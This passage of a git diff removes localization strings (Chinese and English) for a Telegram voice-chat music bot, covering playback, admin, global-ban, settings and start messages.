-pbot_8: "请稍候。。。。正在获取授权聊天。"
-pbot_9: "**提取的聊天记录:**\n\n"
-pbot_10: "私聊"
-pbot_11: "未找到授权聊天"
-pbot_12: "私密Bot模式已禁用。\n\n若要将Bot用作私密Bot,请确保设置 **PRIVATE_BOT_MODE** = **True**"
-pbot_13: "\n**未删除的聊天记录:**\n\n"
-#Gbanned
-gban_1: "你想自己gban自己吗?多么愚蠢!"
-gban_2: "我应该屏蔽自己吗?哈哈"
-gban_3: "您想阻止 sudo 用户吗?"
-gban_4: "{0} 已经从Bot中**封禁了**。"
-gban_5: "**正在初始化 {0}的全局封禁 **\n\n预计时间: {1}."
-gban_6: "**全局封禁成功**\n\n已将**{0}**在**{1}**个聊天中封禁"
-gban_7: "{0} 已经从Bot中**封禁了**。"
-gban_8: "**正在取消封禁 {0}**\n\n预计时间 : {1}."
-gban_9: "**全局取消封禁成功**\n\n已将**{0}**在**{1}**个聊天中取消封禁"
-gban_10: "未找到 Gbanned 用户。"
-gban_11: "请稍等片刻。正在获取 Gbanned 用户列表"
-#Suggestions
-sug_0: "❓ **你知道吗?**\n\n✅ "
-sug_1: "您可以在两种**搜索模式**中播放音乐,即直接模式和Inline模式。\n\n通过 /playmode 更改模式"
-sug_2: "您可以在两种**播放类型**中播放音乐,即所有人模式和管理员模式。\n\n通过 /playmode 更改模式"
-sug_3: "您也可以在**频道**中播放音乐。\n\n通过 /channelplay 设置channel_id,并通过 /cplay 播放 "
-sug_4: "非管理员也可以通过将管理员命令添加到**授权用户列表**来使用管理命令。 \n通过 /auth 将任何用户添加到授权列表,使用 /unauth 删除,并通过 /authusers 查看授权用户"
-sug_5: "Bot有一个名为“**清理模式**”的功能。\n它会在5分钟后删除Bot的消息,并确保你的聊天保持干净。\n\n从 /settings 启用或禁用干净模式 [__Enabled by default__]"
-sug_6: "您也可以播放**Spotify**曲目和播放列表。\n\n现在开始 /play [Spotify Link]"
-sug_7: "您也可以播放**Apple**曲目和播放列表。\n\n现在开始 /play [Apple Link]"
-sug_8: "您也可以播放**Resso**曲目和播放列表。\n\n现在开始 /play [Resso Link]"
-sug_9: "您也可以播放**SoundCloud **曲目和播放列表。\n\n现在开始 /play [SoundCloud Link]"
-sug_10: "您可以通过 /vplay [视频名称] 或 /play -v [视频名称] 在语音聊天中播放 **视频**"
-sug_11: "您可以将语音聊天的**音频质量**设置为“低”、“中”或“高”。\n\n通过 /settings 设置质量"
-sug_12: "您可以将语音聊天的**视频质量**设置为“低”、“中”或“高”。\n\n通过 /settings 设置质量"
-sug_13: "您可以在Bot(如Top 10 Play Tracks)上查看您的**统计信息**。\n\n获取统计数据:/gstats "
-sug_14: "您可以在Bot(如Top 10 Play Tracks)上查看群组的**统计信息**。\n\n获取统计数据:/gstats "
-sug_15: "您可以查看 Bot 的 **全局统计数据 Top 10**\n\n获取统计数据:/gstats"
-sug_16: "您现在可以将语音聊天中播放的音乐静音。\n\n命令:/mute"
-sug_17: "您现在可以取消静音并将语音聊天中播放的音乐静音。\n\n命令:/mute 和 /unmute"
-sug_18: "您也可以与我们一起搜索音乐的歌词。\n\n命令: /lyrics [音乐名称]"
-sug_19: "您可以通过Youtube从Bot下载音乐或视频。\n\n命令:/song [音乐名称]"
-sug_20: "您可以获得Bot能接受的命令的完整列表。\n\n命令: /help"
-sug_21: "Bot具有服务器端播放列表选项。\n\n您可以在播放列表中添加音乐,并通过/play一起播放"
-sug_22: "现在可以在Bot上随机播放正在排队的音乐。\n\n命令:/shuffle"
-sug_23: "您可以检查音乐的队列。\n\n命令:/queue"
-sug_24: "您可以检查管理我的所有者和 sudo 用户。\n\n命令:/sudolist"
-sug_25: "Bot具有名为**命令删除模式**的功能。它会自动删除其执行的命令。\n\n在/settings 中启用或禁用删除模式 [__Enabled by default__]"
-sug_26: "可以将Bot的语言更改为可用语言,以便于理解。\n\n命令:/language"
-sug_27: "Bot有一个名为**强制播放**的功能。\n\n**强制播放**停止语音聊天中的播放曲目,并立即开始播放搜索的曲目,而不会干扰/清除队列。\n\n命令:/playforce"
diff --git a/strings/langs/en.yml b/strings/langs/en.yml
index f02cd27..8e40438 100644
--- a/strings/langs/en.yml
+++ b/strings/langs/en.yml
@@ -1,210 +1,343 @@
-name : 🏴 English
-
-# General Strings
-general_1 : "ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴜsᴇʀ's ᴍᴇssᴀɢᴇ ᴏʀ ɢɪᴠᴇ ᴜsᴇʀɴᴀᴍᴇ/ᴜsᴇʀ_ɪᴅ."
-general_2 : "ᴇʀʀᴏʀ ! ᴡʀᴏɴɢ ᴜsᴀɢᴇ ᴏꜰ ᴄᴏᴍᴍᴀɴᴅ ʙᴀʙʏ."
-general_3 : "sᴏᴍᴇ **ᴇxᴄᴇᴘᴛɪᴏɴ ᴏᴄᴄᴜʀᴇᴅ** ᴡʜɪʟᴇ ᴘʀᴏᴄᴇssɪɴɢ ʏᴏᴜʀ ǫᴜᴇʀʏ.\n\nᴇxᴄᴇᴘᴛɪᴏɴ ᴛʏᴘᴇ:- {0}"
-general_4 : "ʏᴏᴜ'ʀᴇ ᴀɴ ᴀɴᴏɴʏᴍᴏᴜs ᴀᴅᴍɪɴ ɪɴ ᴛʜɪs ᴄʜᴀᴛ ɢʀᴏᴜᴘ !\nʀᴇᴠᴇʀᴛ ʙᴀᴄᴋ ᴛᴏ ᴜsᴇʀ ᴀᴄᴄᴏᴜɴᴛ ꜰᴏʀ ᴀᴅᴍɪɴ ʀɪɢʜᴛs."
-general_5 : "ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ʙᴇ ᴀᴅᴍɪɴ ᴡɪᴛʜ **ᴍᴀɴᴀɢᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛ** ʀɪɢʜᴛs ᴛᴏ ᴘᴇʀꜰᴏʀᴍ ᴛʜɪs ᴀᴄᴛɪᴏɴ."
-general_6 : "ʙᴏᴛ ɪsɴ'ᴛ sᴛʀᴇᴀᴍɪɴɢ ᴏɴ ᴠɪᴅᴇᴏ ᴄʜᴀᴛ."
-
-# Classes - Telegram.py
-tg_1 : "ʙᴏᴛ ɪs **ᴏᴠᴇʀʟᴏᴀᴅᴇᴅ** ᴡɪᴛʜ ᴅᴏᴡɴʟᴏᴀᴅs ʀɪɢʜᴛ ɴᴏᴡ ʙᴀʙʏ.\n\n**ᴛʀʏ ᴀꜰᴛᴇʀ:** {0} (__ᴇxᴘᴇᴄᴛᴇᴅ ᴛɪᴍᴇ__)"
-tg_2 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ᴍᴇᴅɪᴀ ꜰʀᴏᴍ ᴛᴇʟᴇɢʀᴀᴍ ʙᴀʙʏ."
-
-# Core - Call.py
-call_1 : "ʙᴏᴛ ʀᴇǫᴜɪʀᴇs **ᴀᴅᴍɪɴ** ᴘᴇʀᴍɪssɪᴏɴ ᴛᴏ ɪɴᴠɪᴛᴇ ᴀssɪsᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ ʙᴀʙʏ.\n\nᴅɪsᴀʙʟᴇ ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏᴍᴏᴅᴇ ᴠɪᴀ : /playmode"
-call_2 : "ᴀssɪsᴛᴀɴᴛ ɪs ʙᴀɴɴᴇᴅ ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴏʀ ᴄʜᴀɴɴᴇʟ ʙᴀʙʏ, ᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ.\n\n**ᴀssɪsᴛᴀɴᴛ ᴜsᴇʀɴᴀᴍᴇ:** @{0}\n**ᴀssɪsᴛᴀɴᴛ ɪᴅ:** {1}"
-call_3 : "ᴇxᴄᴇᴘᴛɪᴏɴ ᴏᴄᴄᴜʀᴇᴅ ᴡʜɪʟᴇ ɪɴᴠɪᴛɪɴɢ ᴀssɪsᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ ʙᴀʙʏ.\n\n**ʀᴇᴀsᴏɴ**: {0}"
-call_4 : "ʙᴏᴛ ʀᴇǫᴜɪʀᴇs **ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ** ᴘᴇʀᴍɪssɪᴏɴ ᴛᴏ ɪɴᴠɪᴛᴇ ᴀssɪsᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ ᴛᴏ ʏᴏᴜʀ ᴄʜᴀᴛ ɢʀᴏᴜᴘ ʙᴀʙʏ."
-call_5 : "ᴀssɪsᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ ᴡɪʟʟ ʙᴇ ᴊᴏɪɴɪɴɢ ɪɴ 5 sᴇᴄᴏɴᴅs, ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..."
-call_6 : "ᴀssɪsᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ [{0}] ᴊᴏɪɴᴇᴅ sᴜᴄᴄᴇssꜰᴜʟʟʏ ʙᴀʙʏ.\n\nsᴛᴀʀᴛɪɴɢ ᴍᴜsɪᴄ ɴᴏᴡ"
-call_7 : "**ʜᴀʀᴍꜰᴜʟ ᴀᴅᴍɪɴ ʀɪɢʜᴛ ɢɪᴠᴇɴ **\n\nᴘʟᴇᴀsᴇ ʀᴇᴍᴏᴠᴇ **ʙᴀɴ ᴜsᴇʀs** ʀɪɢʜᴛs ꜰʀᴏᴍ ᴛʜᴇ ʙᴏᴛ ʙᴀʙʏ."
-call_8 : "**ʜᴀʀᴍꜰᴜʟ ᴀᴅᴍɪɴ ʀɪɢʜᴛ ɢɪᴠᴇɴ **\n\nᴘʟᴇᴀsᴇ ʀᴇᴍᴏᴠᴇ **ᴀᴅᴅ ɴᴇᴡ ᴀᴅᴍɪɴs** ʀɪɢʜᴛs ꜰʀᴏᴍ ᴛʜᴇ ʙᴏᴛ ʙᴀʙʏ."
-call_9 : "**ꜰᴀɪʟᴇᴅ ᴛᴏ sᴡɪᴛᴄʜ sᴛʀᴇᴀᴍ**\nᴘʟᴇᴀsᴇ ᴜsᴇ /sᴋɪᴘ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʀᴀᴄᴋ ᴀɢᴀɪɴ ʙᴀʙʏ."
-call_10 : "ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ ɴᴇxᴛ ᴛʀᴀᴄᴋ ꜰʀᴏᴍ ᴘʟᴀʏʟɪsᴛ ʙᴀʙʏ"
-call_11 : "ᴘʟᴇᴀsᴇ ᴀᴅᴅ @{0} ᴛᴏ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ[ ID: {1}].\n\nʙᴏᴛ ɪs ɴᴏᴛ ᴀʙʟᴇ ᴛᴏ ɢᴇᴛ ᴄʜᴀɴɴᴇʟ ᴅᴇᴛᴀɪʟs."
-
-# PLUGINS - Auth.py
-auth_1 : "ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ 20 ᴜsᴇʀs ɪɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ's ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs ʟɪsᴛ (ᴀᴜʟ) ʙᴀʙʏ"
-auth_2 : "ᴀᴅᴅᴇᴅ ᴛᴏ ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs ʟɪsᴛ ᴏꜰ ʏᴏᴜʀ ɢʀᴏᴜᴘ ʙᴀʙʏ."
-auth_3 : "ᴀʟʀᴇᴀᴅʏ ɪɴ ᴛʜᴇ ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs ʟɪsᴛ ʙᴀʙʏ."
-auth_4 : "ʀᴇᴍᴏᴠᴇᴅ ꜰʀᴏᴍ ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs ʟɪsᴛ ᴏꜰ ᴛʜɪs ɢʀᴏᴜᴘ ʙᴀʙʏ."
-auth_5 : "ᴛᴀʀɢᴇᴛᴇᴅ ᴜsᴇʀ ɪs ɴᴏᴛ ᴀɴ ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀ ʙᴀʙʏ."
-auth_6 : "ꜰᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs...ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ʙᴀʙʏ !"
-auth_7 : "**ᴀᴜᴛʜᴏʀɪsᴇᴅ ᴜsᴇʀs ʟɪsᴛ[ᴀᴜʟ]:**\n\n"
-auth_8 : "┗ ᴀᴅᴅᴇᴅ ʙʏ:-"
-
-# PLUGINS - Admins
-admin_1 : "ᴍᴜsɪᴄ ɪs ᴀʟʀᴇᴀᴅʏ ᴘᴀᴜsᴇᴅ."
-admin_2 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ ᴘᴀᴜsᴇᴅ ʙʏ {} !"
-admin_3 : "ᴍᴜsɪᴄ ɪs ᴀʟʀᴇᴀᴅʏ ʀᴇsᴜᴍᴇᴅ."
-admin_4 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ ʀᴇsᴜᴍᴇᴅ ʙʏ {} !"
-admin_5 : "ᴍᴜsɪᴄ ɪs ᴀʟʀᴇᴀᴅʏ ᴍᴜᴛᴇᴅ."
-admin_6 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ ᴍᴜᴛᴇᴅ ʙʏ {} !"
-admin_7 : "ᴍᴜsɪᴄ ɪs ᴀʟʀᴇᴀᴅʏ ᴜɴᴍᴜᴛᴇᴅ."
-admin_8 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ ᴜɴᴍᴜᴛᴇᴅ ʙʏ {} !"
-admin_9 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ ᴇɴᴅ/sᴛᴏᴘᴘᴇᴅ ʙʏ {} !"
-admin_10 : "🎧 ᴠᴏɪᴄᴇᴄʜᴀᴛ sᴋɪᴘᴘᴇᴅ ʙʏ {} ! ɴᴏ ᴍᴏʀᴇ ᴍᴜsɪᴄ ɪɴ ǫᴜᴇᴜᴇ."
-admin_11 : "ᴇʀʀᴏʀ ᴡʜɪʟᴇ ᴄʜᴀɴɢɪɴɢ sᴛʀᴇᴀᴍ ᴛᴏ **{0}** ʙᴀʙʏ\n\nᴘʟᴇᴀsᴇ ᴜsᴇ /skip ᴀɢᴀɪɴ."
-admin_12 : "ᴜɴᴀʙʟᴇ ᴛᴏ sᴋɪᴘ ᴛᴏ ᴀ sᴘᴇᴄɪꜰɪᴄ ᴛʀᴀᴄᴋ ʙᴇᴄᴀᴜsᴇ ᴏꜰ ᴇɴᴀʙʟᴇᴅ **ʟᴏᴏᴘ ᴘʟᴀʏ**. ᴘʟᴇᴀsᴇ ᴅɪsᴀʙʟᴇ ʟᴏᴏᴘ ᴘʟᴀʏ ᴠɪᴀ `/loop disable` ᴛᴏ ᴜsᴇ ᴛʜɪs ꜰᴇᴀᴛᴜʀᴇ ʙᴀʙʏ."
-admin_13 : "ᴘʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍᴇʀɪᴄ ɴᴜᴍʙᴇʀs ꜰᴏʀ sᴘᴇᴄɪꜰɪᴄ ᴛʀᴀᴄᴋs ʙᴀʙʏ, ʟɪᴋᴇ 1, 2 ᴏʀ ᴇᴛᴄ"
-admin_14 : "ᴀᴛʟᴇᴀsᴛ 2 ᴛʀᴀᴄᴋs ɴᴇᴇᴅᴇᴅ ɪɴ ǫᴜᴇᴜᴇ ᴛᴏ sᴋɪᴘ ᴛᴏ ᴀ sᴘᴇᴄɪꜰɪᴄ ɴᴜᴍʙᴇʀ ʙᴀʙʏ. ᴄʜᴇᴄᴋ ǫᴜᴇᴜᴇ ʙʏ /queue"
-admin_15 : "ɴᴏᴛ ᴇɴᴏᴜɢʜ ᴛʀᴀᴄᴋs ɪɴ ǫᴜᴇᴜᴇ ꜰᴏʀ ᴛʜᴇ ᴠᴀʟᴜᴇ ɢɪᴠᴇɴ ʙʏ ʏᴏᴜ ʙᴀʙʏ. ᴘʟᴇᴀsᴇ ᴄʜᴏᴏsᴇ ɴᴜᴍʙᴇʀs ʙᴇᴛᴡᴇᴇɴ 1 ᴀɴᴅ {0}"
-admin_16 : "ꜰᴀɪʟᴇᴅ ᴛᴏ sᴋɪᴘ ᴛᴏ sᴘᴇᴄɪꜰɪᴄ ᴛʀᴀᴄᴋ ʙᴀʙʏ.\n\nᴄʜᴇᴄᴋ ʟᴇꜰᴛ ǫᴜᴇᴜᴇ ʙʏ /queue"
-admin_17 : "{0}...ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ʙᴀʙʏ!"
-admin_18 : "ᴀᴅᴍɪɴ ʟɪsᴛ ɴᴏᴛ ꜰᴏᴜɴᴅ ʙᴀʙʏ\n\nᴘʟᴇᴀsᴇ ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴʟɪsᴛ ᴠɪᴀ /admincache ᴏʀ /reload"
-admin_19 : "ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ʙᴇ ᴀᴅᴍɪɴ ᴡɪᴛʜ **ᴍᴀɴᴀɢᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ** ʀɪɢʜᴛs ᴛᴏ ᴘᴇʀꜰᴏʀᴍ ᴛʜɪs ʙᴀʙʏ.\nɪꜰ ʏᴏᴜ'ʀᴇ ᴀʟʀᴇᴀᴅʏ ᴀᴅᴍɪɴ, ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴᴄᴀᴄʜᴇ ᴠɪᴀ /admincache "
-admin_20 : "ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ʀᴇʟᴏᴀᴅᴇᴅ sᴜᴄᴄᴇssꜰᴜʟʟʏ ʙᴀʙʏ."
-admin_21 : "ɴᴏᴛʜɪɴɢ ɪɴsɪᴅᴇ ǫᴜᴇᴜᴇ ᴛᴏ sʜᴜꜰꜰʟᴇ ʙᴀʙʏ"
-admin_22 : "ꜰᴀɪʟᴇᴅ ᴛᴏ sʜᴜꜰꜰʟᴇ ʙᴀʙʏ.\n\nᴄʜᴇᴄᴋ ǫᴜᴇᴜᴇ : /queue"
-admin_23 : "**ǫᴜᴇᴜᴇ sʜᴜꜰꜰʟᴇᴅ ʙʏ {0} ʙᴀʙʏ**\n\nᴄʜᴇᴄᴋ sʜᴜꜰꜰʟᴇᴅ ǫᴜᴇᴜᴇ : /queue"
-admin_24 : "**ᴜsᴀɢᴇ:**\n/loop [enable/disable] or [ɴᴜᴍʙᴇʀ ʙᴇᴛᴡᴇᴇɴ 1-10]\n\n**ᴇxᴀᴍᴘʟᴇ:** /loop 5"
-admin_25 : "ʟᴏᴏᴘ ᴇɴᴀʙʟᴇᴅ ʙʏ {0} ʙᴀʙʏ ꜰᴏʀ **{1}** ᴛɪᴍᴇs. ʙᴏᴛ ᴡɪʟʟ ɴᴏᴡ ʀᴇᴘᴇᴀᴛ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴘʟᴀʏɪɴɢ ᴍᴜsɪᴄ ᴏɴ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ ꜰᴏʀ **{1}** ᴛɪᴍᴇs ʙᴀʙʏ"
-admin_26 : "ᴘʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍʙᴇʀs ʙᴇᴛᴡᴇᴇɴ 1-10 ꜰᴏʀ ʟᴏᴏᴘ ᴘʟᴀʏ ʙᴀʙʏ"
-admin_27 : "ʟᴏᴏᴘ ᴘʟᴀʏ ʜᴀs ʙᴇᴇɴ ᴅɪsᴀʙʟᴇᴅ ʙᴀʙʏ"
-admin_28 : "**ᴜsᴀɢᴇ:**\n/seek ᴏʀ /seekback [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs]"
-admin_29 : "ᴩʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍʙᴇʀ ғᴏʀ sᴇᴇᴋɪɴɢ ɪɴ sᴇᴄᴏɴᴅs."
-admin_30 : "sᴏʀʀʏ ʙᴜᴛ ʏᴏᴜ ᴄᴀɴ'ᴛ sᴇᴇᴋ ᴛʜᴇ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ, ɪᴛ ᴄᴀɴ ᴏɴʟʏ ʙᴇ sᴋɪᴩᴩᴇᴅ ᴏʀ sᴛᴏᴩᴩᴇᴅ."
-admin_31 : "ʙᴏᴛ ɪs ɴᴏᴛ ᴀʙʟᴇ ᴛᴏ sᴇᴇᴋ ʙᴇᴄᴀᴜsᴇ ᴏғ ʜɪɢʜ ᴅᴜʀᴀᴛɪᴏɴ ɢɪᴠᴇɴ. ᴛʀʏ sᴇᴇᴋɪɴɢ ᴡɪᴛʜ ʟᴏᴡᴇʀ ᴅᴜʀᴀᴛɪᴏɴ ᴀɴᴅ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ᴀ ᴛɪᴍᴇ ᴏғ 10sᴇᴄ ɪs ʟᴇғᴛ ᴀғᴛᴇʀ sᴇᴇᴋɪɴɢ.\n\nᴩʟᴀʏɪɴɢ** {0}** ᴍɪɴs ᴏᴜᴛ ᴏғ **{1}** ᴍɪɴs"
-admin_32 : "sᴇᴇᴋɪɴɢ..."
-admin_33 : "sᴇᴇᴋᴇᴅ ᴛᴏ {0} ᴍɪɴs"
-admin_34 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴇᴇᴋ."
-
-# Bot
-
-# Start
-start_1 : "┍──── ▰☆▰ ────┑\n\n Tʜᴀɴᴋs ғᴏʀ ʜᴀᴠɪɴɢ ᴍᴇ ɪɴ \n{0}\n\ SHIVANSHUDEO Jɪɴᴅᴀ ʜᴀɪ🔥✅\n\nFᴏʀ ᴀɴʏ ᴀssɪsᴛᴀɴᴄᴇ ᴏʀ ʜᴇʟᴘ ᴄʜᴇᴄᴋᴏᴜᴛ ᴏᴜʀ sᴜᴘᴘᴏʀᴛ ɢʀᴏᴜᴘ ᴀɴᴅ ᴄʜᴀɴɴᴇʟ\n\n┕──── ▰☆▰ ────┙"
-start_2 : "┏━━▰»»•@ShivanshuDeo•««▰━━┓\n\n Hey There •🎙\n I'm {0}\n ━━━━━━━━━━━━\n 𓆩🖤ꜱ⃟нͥινͣαͫиѕнυ🖤𓆪 \n Is Now A Famous\n & Safe Bot For Playing\n Music In Many Groups\n ━━━━━━━━━━\n You Can Play Music\n From Your Spotify\n Resso, AppleMusic &\n Soundcloud Too\n ━━━━━━━━━━━━\n ▰▰▰▰▰▰▰▰▰▰▰▰▰\n 𓆩𝕷𝖔𝖛𝖊 𝕭𝖎𝖗𝖉𝖘𓆪 \n▰▰▰▰▰▰▰▰▰▰▰▰▰\n\n╘═════════════════╛"
-start_3 : "Tʜᴀɴᴋs ғᴏʀ ᴀᴅᴅɪɴɢ ᴍᴇ 🌹\n{0}\n ◍━━•━━•●●•━━•━━◍\n\n𝘉𝘖𝘛 𝘜𝘚𝘈𝘎𝘌 ⚙️\n\n○ Mᴀᴋᴇ ᴍᴇ Aᴅᴍɪɴ Fɪʀsᴛ🎙\n\n○ /play ʏᴏᴜʀ sᴏɴɢ ɴᴀᴍᴇ\n\nEɴᴊᴏʏ ʟᴀɢ ғʀᴇᴇ ᴍᴜsɪᴄ 🎶\n\n ◍━━•━━•●●•━━•━━◍\n\nBᴏᴛ's Assɪsᴛᴀɴᴛ ☆ @{1}\n\nAssɪsᴛᴀɴᴛ ɪᴅ ☆ {2}"
-start_4 : "ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ {0}, [{1}] ᴊᴜsᴛ ᴊᴏɪɴᴇᴅ ʏᴏᴜʀ ᴄʜᴀᴛ."
-start_5 : "ᴛʜᴇ sᴜᴅᴏ ᴜsᴇʀ ᴏғ {0}, [{1}] ᴊᴜsᴛ ᴊᴏɪɴᴇᴅ ʏᴏᴜʀ ᴄʜᴀᴛ."
-start_6 : "❗️ **sᴜᴘᴇʀɢʀᴏᴜᴘ ɴᴇᴇᴅᴇᴅ** ❗️\n\nᴘʟᴇᴀsᴇ ᴄᴏɴᴠᴇʀᴛ ʏᴏᴜʀ **ɢʀᴏᴜᴘ** ᴛᴏ **sᴜᴘᴇʀɢʀᴏᴜᴘ** ᴀɴᴅ ᴛʜᴇɴ ᴀᴅᴅ ᴍᴇ ʙᴀᴄᴋ.\n\n**ʜᴏᴡ ᴛᴏ ᴍᴀᴋᴇ sᴜᴘᴇʀɢʀᴏᴜᴘ ?**\n🥱 ᴍᴀᴋᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ's ᴄʜᴀᴛ ʜɪsᴛᴏʀʏ **ᴠɪsɪʙʟᴇ** ᴏɴᴄᴇ."
-start_7 : "**ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛ**\n\nᴛʜɪs ᴄʜᴀᴛ ɪs ʙʟᴀᴄᴋʟɪsᴛ ғᴏʀ ᴜsɪɴɢ ᴛʜᴇ ʙᴏᴛ. ʀᴇǫᴜᴇsᴛ ᴀ sᴜᴅᴏ ᴜsᴇʀ ᴛᴏ ᴡʜɪᴛᴇʟɪsᴛ ʏᴏᴜʀ ᴄʜᴀᴛ, sᴜᴅᴏ ᴜsᴇʀs [ʟɪsᴛ]({0}) , ᴇʟsᴇ ғᴜ*ᴋ ᴏғғ."
-
-# Help
-help_1 : "ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\nᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ @SHIVANSHUDEO\n\nᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : `/` **ᴘᴏᴡʀᴇᴅ © ʙʏ** @TheShivanshu"
-help_2 : "• ʜᴇʟᴩ •"
-
-# Settings
-setting_1 : "⚙️ **ᴍᴜsɪᴄ ʙᴏᴛ sᴇᴛᴛɪɴɢs**\n\n🖇**ɢʀᴏᴜᴘ:** {0}\n🔖**ɢʀᴏᴜᴘ ɪᴅ:** `{1}`\n\n💡**ᴄʜᴏᴏsᴇ ᴛʜᴇ ꜰᴜɴᴄᴛɪᴏɴ ʙᴜᴛᴛᴏɴs ꜰʀᴏᴍ ʙᴇʟᴏᴡ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴇᴅɪᴛ ᴏʀ ᴄʜᴀɴɢᴇ.**"
-setting_3 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\n1) ᴅɪʀᴇᴄᴛ: ᴘʟᴀʏs sᴇᴀʀᴄʜ ǫᴜᴇʀɪᴇs ᴅɪʀᴇᴄᴛʟʏ. ᴜsᴇ -ᴠ ᴛᴏ ᴘʟᴀʏ ᴠɪᴅᴇᴏs ɪɴ ᴅɪʀᴇᴄᴛ ᴍᴏᴅᴇ.\n\n2) ɪɴʟɪɴᴇ: ʀᴇᴛᴜʀɴs ɪɴʟɪɴᴇ ᴍᴀʀᴋᴜᴘ ʙᴜᴛᴛᴏɴs ꜰᴏʀ ᴄʜᴏᴏsɪɴɢ ʙᴇᴛᴡᴇᴇɴ ᴠɪᴅᴇᴏ & ᴀᴜᴅɪᴏ."
-setting_4 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\n👥 ᴇᴠᴇʀʏᴏɴᴇ: ᴀɴʏᴏɴᴇ ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs(sᴋɪᴘ, ᴘᴀᴜsᴇ, ʀᴇsᴜᴍᴇ ᴇᴛᴄ) ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ.\n\n🙍 ᴀᴅᴍɪɴ ᴏɴʟʏ: ᴏɴʟʏ ᴀᴅᴍɪɴs ᴀɴᴅ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs."
-setting_5 : "ɴᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ꜰᴏᴜɴᴅ.\n\nʏᴏᴜ ᴄᴀɴ ᴀʟʟᴏᴡ ᴀɴʏ ɴᴏɴ-ᴀᴅᴍɪɴ ᴛᴏ ᴜsᴇ ᴍʏ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs ʙʏ /auth ᴀɴᴅ ᴅᴇʟᴇᴛᴇ ʙʏ ᴜsɪɴɢ /unauth"
-setting_9 : "⁉️ ᴡʜᴀᴛ ɪs ᴛʜɪs ?\n\nᴡʜᴇɴ ᴀᴄᴛɪᴠᴀᴛᴇᴅ, ʙᴏᴛ ᴡɪʟʟ ᴅᴇʟᴇᴛᴇ ɪᴛs ᴍᴇssᴀɢᴇ ᴀꜰᴛᴇʀ {0} ᴛᴏ ᴍᴀᴋᴇ ʏᴏᴜʀ ᴄʜᴀᴛ ᴄʟᴇᴀɴ ᴀɴᴅ ᴄʟᴇᴀʀ."
